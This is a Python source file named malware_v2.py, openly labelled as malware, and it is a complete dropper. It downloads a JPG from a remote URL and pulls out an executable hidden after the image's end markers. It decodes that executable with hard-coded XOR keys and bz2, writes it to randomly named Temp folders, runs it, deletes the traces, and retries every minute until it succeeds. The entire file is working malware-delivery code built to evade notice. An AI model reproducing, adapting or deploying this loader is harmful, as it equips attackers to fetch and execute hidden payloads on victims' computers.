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malware_v2.py
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malware_v2.py
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#######################################################################################
#
# malware_v2.py (Malware v2) [ Main Program ]
# © 2022 ABDULKADİR GÜNGÖR All Rights Reserved
# Contact email address: abdulkadir_gungor@outlook.com
#
# Developper: Abdulkadir GÜNGÖR (abdulkadir_gungor@outlook.com)
# Date: 05/2022
# All Rights Reserved (Tüm Hakları Saklıdır)
#
#######################################################################################
import os, bz2, time, subprocess, shutil, random, string, requests
#
#
#
class SETTINGS():
URL_ADDR = "https://raw.githubusercontent.com/abdulkadir-gungor/JPGtoMalware/main/.image/malwareJPG.jpg"
OUT_FILE = "malware_test.exe"
PUPLIC_KEY = b'!AbdUlkadiR%+39608]gunGor[{'
PRIVATE_NUMBER = 19
JPG_NAME = 'malware_attack.jpg'
BUFFER = 1024
WAIT_TIME = 0.1
#
#
#
class RandomTmp:
def __init__(self):
self.__topfolder = None
self.__subfolder = None
self.__files = []
self.__iserror = False
cn = random.sample(string.digits + string.ascii_uppercase, k=12)
dn = random.sample(string.digits, k=4)
ucn = random.sample(string.ascii_uppercase, k=8)
directory0 = ucn[0] + cn[0] + dn[0] + cn[1] + cn[2] + cn[3] + cn[4] + ucn[1] + "-"
directory0 += ucn[2] + cn[5] + dn[1] + ucn[3] + "-"
directory0 += ucn[4] + dn[2] + cn[6] + ucn[5] + "-"
directory0 += ucn[6] + cn[7] + cn[8] + cn[9] + cn[10] + dn[3] + cn[11] + ucn[7]
del cn, dn, ucn
cn = random.sample(string.digits + string.ascii_lowercase, k=6)
dn = random.sample(string.digits, k=2)
lcn = random.sample(string.ascii_uppercase, k=3)
directory1 = lcn[0] + dn[0] + cn[0] + cn[1] + cn[2] + cn[3] + cn[4] + lcn[1] + "." + cn[5] + dn[1] + lcn[2]
del cn, dn, lcn
try:
self.__topfolder = os.environ['USERPROFILE'] + "\\AppData\\Local\\Temp\\" + directory0
os.mkdir(self.__topfolder)
self.__subfolder = self.__topfolder + "\\" + directory1
os.mkdir(self.__subfolder)
except:
self.__iserror = True
del directory0, directory1
#
def directoryPath(self):
if self.__iserror:
return False, ""
else:
return True, self.__subfolder
#
def createFilename(self):
nn = random.sample(string.digits + string.ascii_lowercase, k=28)
name = nn[0] + nn[1] + nn[2] + nn[3] + nn[4] + nn[5] + nn[6] + nn[7]
name += nn[8] + nn[9] + nn[10] + nn[11] + nn[12] + nn[13] + nn[14] + nn[15]
name += nn[16] + nn[17] + nn[18] + nn[19] + nn[20] + nn[21] + nn[22] + nn[23]
name += "." + nn[24] + nn[25] + "bin" + nn[26] + nn[27]
if self.__iserror:
return False, ""
else:
tmp = self.__subfolder + "\\" + name
self.__files.append(tmp)
return True, tmp
#
def addFilename(self, file: str):
if self.__iserror:
return False, ""
else:
tmp = self.__subfolder + "\\" + file
self.__files.append(tmp)
return True, tmp
#
def finish(self):
self.__iserror = True
for f_name in self.__files:
try:
os.remove(f_name)
except:
pass
self.__files = []
try:
shutil.rmtree(self.__subfolder, ignore_errors=False, onerror=None)
except:
pass
self.__subfolder = ""
try:
shutil.rmtree(self.__topfolder, ignore_errors=False, onerror=None)
except:
pass
self.__topfolder = ""
#
def __del__(self):
self.finish()
#
def bytesXOR(plain_text, public_key, private_number):
public_number = 3
private_key = b'#$0aSpYt3ehR7%|\&/*QVzX12}-'
len_key = len(public_key)
public_encoded = []
result_encoded = []
return_encoded = []
for i in range(0, len(plain_text)):
public_encoded.append(plain_text[i] ^ public_key[ (i+public_number) % len_key])
private_encoded = bytes([b ^ len(private_key) for b in (bytes(public_encoded))])
for i in range(0, len(private_encoded)):
result_encoded.append(private_encoded[i] ^ private_key[ (i+private_number) % len_key])
for i in range(0, len(result_encoded)):
return_encoded.append(result_encoded[i] ^ public_key[ (i+public_number) % len_key])
return bytes(return_encoded)
#
def runMalware(settings):
try:
cd0 = RandomTmp()
cd = RandomTmp()
cd2 = RandomTmp()
buffer0 = cd.createFilename()[1]
buffer1 = cd.createFilename()[1]
buffer2 = cd.createFilename()[1]
jpg_file = cd0.addFilename(file=(settings.JPG_NAME) )[1]
out_file = cd2.addFilename(file=(settings.OUT_FILE))[1]
except:
return False
try:
res = requests.get(settings.URL_ADDR, stream=True)
if res.status_code == 200:
with open(jpg_file, 'wb') as f:
shutil.copyfileobj(res.raw, f)
except:
return False
del res
#
try:
if buffer0 == "" or buffer1 == "" or buffer2 == "" or out_file == "" :
return False
with open(file=jpg_file, mode='rb') as readfile:
rb = readfile.read()
rb_list = rb.split(sep=b'\xff\xd9')
del rb
if len(rb_list) < 3:
return False
else:
if len(rb_list) == 3:
payload = rb_list[1]
else:
payload = b''
for ii in range(1, (len(rb_list) - 1)):
if ii == 1:
payload += rb_list[ii]
else:
payload += (b'\xff\xd9' + rb_list[ii])
del rb_list
os.remove(jpg_file)
time.sleep(settings.WAIT_TIME)
cd0.finish()
#
with open(file=buffer0, mode='wb') as wfile:
wfile.write(payload)
del payload
with open(file=buffer0, mode='rb') as rfile:
with open(file=buffer1, mode='wb') as wfile:
while True:
data = rfile.read(settings.BUFFER)
if data == b'':
break
wfile.write( bytesXOR(data, settings.PUPLIC_KEY, settings.PRIVATE_NUMBER) )
os.remove(buffer0)
with bz2.open(filename=buffer1, mode='rb') as rfile:
with open(file=buffer2, mode='wb') as wfile:
while True:
data = rfile.read(settings.BUFFER)
if data == b'':
break
wfile.write(data)
os.remove(buffer1)
if not os.access(buffer2, os.F_OK):
return False
if os.access(out_file, os.F_OK):
os.remove(out_file)
try:
shutil.copy2(buffer2, out_file)
except:
return False
if not os.access(out_file, os.F_OK):
return False
#
cd.finish()
time.sleep(settings.WAIT_TIME)
subprocess.run([out_file])
time.sleep(settings.WAIT_TIME)
cd2.finish()
time.sleep(settings.WAIT_TIME)
return True
except:
return False
###--- Main ---###
if __name__ == '__main__':
while True:
try:
res = runMalware(SETTINGS)
if res:
break
except:
pass
time.sleep(60)